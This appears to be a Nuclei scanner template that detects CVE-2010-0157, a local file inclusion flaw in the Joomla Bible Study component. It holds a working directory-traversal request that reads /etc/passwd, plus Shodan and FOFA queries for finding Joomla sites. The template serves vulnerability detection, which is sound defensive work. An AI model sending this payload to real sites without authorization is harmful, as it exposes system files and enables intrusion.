id: CVE-2010-0157

info:
  name: Joomla! Component com_biblestudy - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Bible Study (com_biblestudy) component 6.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter in a studieslist action to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/10943
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0157
    - http://packetstormsecurity.org/1001-exploits/joomlabiblestudy-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-0157
    cwe-id: CWE-22
    epss-score: 0.12969
    epss-percentile: 0.95926
    cpe: cpe:2.3:a:joomla:joomla\!:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla\!
    shodan-query:
      - http.html:"joomla! - open source content management"
      - http.component:"joomla"
      - cpe:"cpe:2.3:a:joomla:joomla\!"
    fofa-query: body="joomla! - open source content management"
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_biblestudy&id=1&view=studieslist&controller=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a13f79ecde67d1a0adf3f15fe1a7431d24f80cc46a9a89cb7f5234b05e15ada6022100e00e70db2a43e298b2c15b24728b4056ef9d75387165142607457c0ba874edbb:922c64590222798bb761d5b6d8e72950